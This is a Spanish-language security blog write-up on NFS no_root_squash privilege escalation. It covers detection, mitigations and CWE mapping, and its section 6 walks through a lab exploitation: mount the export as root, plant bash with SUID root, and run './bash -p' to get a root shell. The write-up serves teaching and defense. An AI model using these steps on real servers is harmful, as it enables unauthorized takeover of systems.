cd ~/blog

~/vulns/nfs-no_root_squash-privesc.md

NFS no_root_squash Privesc

privescautor: Jordy Pérez Osorio aviso legal
privescNFSLinux

~2 min de lectura


1. Descripción técnica

NFS (Network File System) permite compartir directorios por red. Por seguridad, NFS aplica por defecto root_squash: cuando un cliente accede al recurso como root (UID 0), el servidor lo "degrada" al usuario nobody (UID 65534), de modo que un root remoto no tenga privilegios de root sobre los archivos exportados.

La opción no_root_squash en /etc/exports desactiva ese mecanismo: el root del cliente conserva privilegios de root en el servidor. Esto se convierte en una vía de escalada local cuando el atacante:

  1. Tiene acceso (aunque sea como usuario sin privilegios) a la máquina víctima, y
  2. Controla (como root) la máquina cliente desde la que monta el recurso NFS.

El atacante monta el recurso como root, coloca en él un binario (por ejemplo una copia de bash) y le asigna propietario root y bit SUID. Como el recurso es el mismo en ambos lados, al ejecutar ese binario desde la víctima se obtiene una shell de root.

2. Impacto de la vulnerabilidad

  • Escalada de privilegios a root en el servidor NFS de forma fiable.
  • Capacidad de crear, modificar, sobrescribir archivos y cambiar permisos/propietarios en los directorios exportados.
  • Si la export apunta a directorios críticos, compromiso total del sistema.

3. Condiciones necesarias

  1. Una export NFS configurada con no_root_squash (visible en /etc/exports).
  2. Que el directorio exportado tenga permisos de escritura o sea manipulable por el atacante.
  3. Que el atacante pueda montar el recurso como root desde su máquina y ejecutar binarios desde la víctima.

4. Validación y detección

  • Enumerar exports NFS:
showmount -e <target>
  • Revisar la configuración (desde la víctima):
cat /etc/exports
# /var/www/html/ *(rw,sync,insecure,no_root_squash,no_subtree_check)

La presencia de no_root_squash (especialmente con rw) es el indicador clave.

5. Mitigación

  1. Mantener root_squash (valor por defecto); evitar no_root_squash salvo necesidad justificada.
  2. Restringir las exports a clientes concretos (no usar *) y montarlas en solo lectura cuando sea posible.
  3. No exportar directorios críticos del sistema.
  4. Usar all_squash y mapeos de usuario explícitos cuando convenga.

6. Explotación documentada en 29-lower3

Comprobamos la export y la montamos como root en nuestra máquina:

❯ showmount -e 10.42.113.14
Export list for 10.42.113.14:
/var/www/html *

❯ sudo mount -t nfs 10.42.113.14:/var/www/html ./nfs_www -nolock

Confirmamos no_root_squash en la víctima, copiamos bash al recurso y, desde nuestro montaje (como root), le ponemos propietario root + SUID:

low@lower3:/var/www/html$ cat /etc/exports
/var/www/html/       *(rw,sync,insecure,no_root_squash,no_subtree_check)

low@lower3:/var/www/html$ cp /usr/bin/bash .

❯ sudo chown root:root bash
❯ sudo chmod u+s bash

Ejecutamos el binario SUID desde la víctima:

low@lower3:/var/www/html$ ./bash -p
bash-5.1# whoami
root

7. Clasificación

  • Tipo: Privilege Escalation / Security Misconfiguration
  • CWE:
    • CWE-732: Incorrect Permission Assignment for Critical Resource
    • CWE-250: Execution with Unnecessary Privileges

8. Referencias y conexiones

// relacionados